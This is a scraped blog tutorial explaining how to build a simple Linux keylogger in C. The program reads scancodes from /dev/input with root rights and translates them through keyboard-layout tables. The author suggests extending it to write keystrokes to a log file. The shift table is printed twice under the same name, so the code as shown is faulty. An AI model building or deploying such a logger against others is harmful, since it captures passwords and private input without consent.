Today we are going to write a Linux keylogger in C. We can do this by reading from the keyboard device under /dev. This means you have to have root rights.
Warning: this keylogger is meant only for educational purposes. I’m not responsible for any damage made by this program.
Reading from the device
First of all, we need to know which /dev-ice we need to use, this is different for each keyboard. I know already that it is under /dev/input. In that folder we have multiple devices starting with “event”. We could open each device with something likecat and look if something happens after hitting a key. But, this can be done much easier. In the file /proc/bus/input/devices are all eventX listed. So we can read this file with cat and search for the keyboard. An item in the /proc/bus/input/devices file looks like this:
1
2
3
4
5
6
7
8
9
10
11
|
I
:
Bus
=
xxxx
Vendor
=
xxxx
Product
=
xxxx
Version
=
xxxx
N
:
Name
=
xxxxx
P
:
Phys
=
xxxxx
/
input0
S
:
Sysfs
=
/
devices
/
xxxxx
U
:
Uniq
=
H
:
Handlers
=
xxxx
B
:
PROP
=
xxxx
B
:
EV
=
xxxxxxx
B
:
KEY
=
xxxxxxx
xxxxxxxx
xxxxxxxx
xxxxxxxx
xxxxxxx
B
:
MSC
=
xx
B
:
LED
=
x
|
The thirth word after “Handlers=” is the eventX-device of the device. My keyboard is event3, so I will be using that in this blogpost. If we read from /dev/input/event3 (with root rights ;)), we will see a lot of scancodes. In the C program, we will be translating those scancodes to ASCII.
The program
We need the following imports:
1
2
3
|
#include <linux/input.h> // For getting the type, scancode etc.
#include <fcntl.h> // For the open() function
#include <stdio.h>
|
After that, we define the constant UK, so we don’t have to write “[Unknown]” everytime a scancode doesn’t have a key on the keyboard-layout:
1
|
#define UK "[Unknown]"
|
Then we make a keyboard layout, like the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
static
char
*
scancode_to_ascii
[
]
=
{
UK
,
"[Esc]"
,
"1"
,
"2"
,
"3"
,
"4"
,
"5"
,
"6"
,
"7"
,
"8"
,
"9"
,
"0"
,
"-"
,
"="
,
"[Backspace]"
,
"[Tab]"
,
"q"
,
"w"
,
"e"
,
"r"
,
"t"
,
"y"
,
"u"
,
"i"
,
"o"
,
"p"
,
"["
,
"]"
,
"[Enter]"
,
"[LCtrl]"
,
"a"
,
"s"
,
"d"
,
"f"
,
"g"
,
"h"
,
"j"
,
"k"
,
"l"
,
";"
,
"'"
,
"`"
,
"[LShift]"
,
"\\"
,
"z"
,
"x"
,
"c"
,
"v"
,
"b"
,
"n"
,
"m"
,
","
,
"."
,
"/"
,
"[RShift]"
,
"[NL*]"
,
"[LAlt]"
,
" "
,
"[CapsLock]"
,
"[F1]"
,
"[F2]"
,
"[F3]"
,
"[F4]"
,
"[F5]"
,
"[F6]"
,
"[F7]"
,
"[F8]"
,
"[F9]"
,
"[F10]"
,
"[NumLock]"
,
"[ScrollLock]"
,
"[NL7]"
,
"[NL8]"
,
"[NL9]"
,
"[NL-]"
,
"[NL4]"
,
"[NL5]"
,
"[NL6]"
,
"[NL+]"
,
"[NL1]"
,
"[NL2]"
,
"[NL3]"
,
"[NL0]"
,
"[NL.]"
,
UK
,
UK
,
UK
,
"[F11]"
,
"[F12]"
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
"[NLEnter]"
,
"[RCtrl]"
,
"[NL/]"
,
"[SysRq]"
,
"[RAlt]"
,
UK
,
"[Home]"
,
"[Up]"
,
"[PageUp]"
,
"[Left]"
,
"[Right]"
,
"[End]"
,
"[Down]"
,
"[PageDown]"
,
"[Insert]"
,
"[Delete]"
}
;
|
Also, we make a keyboard layout for whenever the capslock key is pressed and whenever the shift key is pressed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
static
char
*
shift_scancode_to_ascii
[
]
=
{
UK
,
"[Esc]"
,
"!"
,
"@"
,
"#"
,
"$"
,
"%"
,
"^"
,
"&"
,
"*"
,
"("
,
")"
,
"_"
,
"+"
,
"[Backspace]"
,
"[Tab]"
,
"Q"
,
"W"
,
"E"
,
"R"
,
"T"
,
"Y"
,
"U"
,
"I"
,
"O"
,
"P"
,
"{"
,
"}"
,
"[Enter]"
,
"[LCtrl]"
,
"A"
,
"S"
,
"D"
,
"F"
,
"G"
,
"H"
,
"J"
,
"K"
,
"L"
,
":"
,
"\""
,
"~"
,
"[LShift]"
,
"|"
,
"Z"
,
"X"
,
"C"
,
"V"
,
"B"
,
"N"
,
"M"
,
"<"
,
">"
,
"?"
,
"[RShift]"
,
"[NL*]"
,
"[LAlt]"
,
" "
,
"[CapsLock]"
,
"[F1]"
,
"[F2]"
,
"[F3]"
,
"[F4]"
,
"[F5]"
,
"[F6]"
,
"[F7]"
,
"[F8]"
,
"[F9]"
,
"[F10]"
,
"[NumLock]"
,
"[ScrollLock]"
,
"[NL7]"
,
"[NL8]"
,
"[NL9]"
,
"[NL-]"
,
"[NL4]"
,
"[NL5]"
,
"[NL6]"
,
"[NL+]"
,
"[NL1]"
,
"[NL2]"
,
"[NL3]"
,
"[NL0]"
,
"[NL.]"
,
UK
,
UK
,
UK
,
"[F11]"
,
"[F12]"
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
"[NLEnter]"
,
"[RCtrl]"
,
"[NL/]"
,
"[SysRq]"
,
"[RAlt]"
,
UK
,
"[Home]"
,
"[Up]"
,
"[PageUp]"
,
"[Left]"
,
"[Right]"
,
"[End]"
,
"[Down]"
,
"[PageDown]"
,
"[Insert]"
,
"[Delete]"
}
;
static
char
*
shift_scancode_to_ascii
[
]
=
{
UK
,
"[Esc]"
,
"!"
,
"@"
,
"#"
,
"$"
,
"%"
,
"^"
,
"&"
,
"*"
,
"("
,
")"
,
"_"
,
"+"
,
"[Backspace]"
,
"[Tab]"
,
"Q"
,
"W"
,
"E"
,
"R"
,
"T"
,
"Y"
,
"U"
,
"I"
,
"O"
,
"P"
,
"{"
,
"}"
,
"[Enter]"
,
"[LCtrl]"
,
"A"
,
"S"
,
"D"
,
"F"
,
"G"
,
"H"
,
"J"
,
"K"
,
"L"
,
":"
,
"\""
,
"~"
,
"[LShift]"
,
"|"
,
"Z"
,
"X"
,
"C"
,
"V"
,
"B"
,
"N"
,
"M"
,
"<"
,
">"
,
"?"
,
"[RShift]"
,
"[NL*]"
,
"[LAlt]"
,
" "
,
"[CapsLock]"
,
"[F1]"
,
"[F2]"
,
"[F3]"
,
"[F4]"
,
"[F5]"
,
"[F6]"
,
"[F7]"
,
"[F8]"
,
"[F9]"
,
"[F10]"
,
"[NumLock]"
,
"[ScrollLock]"
,
"[NL7]"
,
"[NL8]"
,
"[NL9]"
,
"[NL-]"
,
"[NL4]"
,
"[NL5]"
,
"[NL6]"
,
"[NL+]"
,
"[NL1]"
,
"[NL2]"
,
"[NL3]"
,
"[NL0]"
,
"[NL.]"
,
UK
,
UK
,
UK
,
"[F11]"
,
"[F12]"
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
"[NLEnter]"
,
"[RCtrl]"
,
"[NL/]"
,
"[SysRq]"
,
"[RAlt]"
,
UK
,
"[Home]"
,
"[Up]"
,
"[PageUp]"
,
"[Left]"
,
"[Right]"
,
"[End]"
,
"[Down]"
,
"[PageDown]"
,
"[Insert]"
,
"[Delete]"
}
;
|
Then we define a main function, with some variables and a while loop.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int
main
(
)
{
int
shift_pressed
=
0
;
int
caps_pressed
=
0
;
int
fd
;
fd
=
open
(
"/dev/input/event3"
,
O_RDONLY
)
;
//.. Make sure to change event3 to the right eventX.
struct
input_event
ev
;
while
(
1
)
{
}
return
0
;
}
|
O_RDONLY means we can only read from the file. input_event is a struct defined in input.h:
1
2
3
4
5
6
|
struct
input_event
{
struct
timeval
time
;
__u16
type
;
__u16
code
;
__u32
value
;
}
;
|
In the while loop, we will read from fd and store it in ev. When the ev.type is equal to 1, two if statements will check if the key was pressed or released and print the key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
while
(
1
)
{
read
(
fd
,
&
ev
,
sizeof
(
struct
input_event
)
)
;
if
(
ev
.
type
==
1
)
{
if
(
ev
.
value
==
1
)
{
printf
(
"Key %s pressed.\n"
,
scancode_to_ascii
[
ev
.
code
]
)
;
}
if
(
ev
.
value
==
0
)
{
printf
(
"Key %s released.\n"
,
scancode_to_ascii
[
ev
.
code
]
)
;
}
}
}
|
ev.code is the scancode in decimals.
The program will now work, but shift and capslock won’t make keys uppercase or something like. So, we check in the first if statement if the pressed key is capslock. If it is, we’ll check ifcaps_pressed is already 1, if so we set it to 0. Otherwise we set it to 1. We also check if shift has been pressed, if that is the case, we setshift_pressed to 1. Whenever shift has been released, we set it to 0. The scancode for [RShift], [LShift] and [CapsLock] are 54, 42 and 58,respectively. Also each time when a key is released, we print a newline onto the screen. You can find the final code in my GitHub repository: https://github.com/samvhb/Linux-Keylogger.
Next
You can make a scancode-list, when CTRL is hold, so you can log keys like CTRL+C, CTRL+S. Also you can store the keys in a logfile.
If you have questions, suggestions or anything like that, make sure to comment :).
– Sam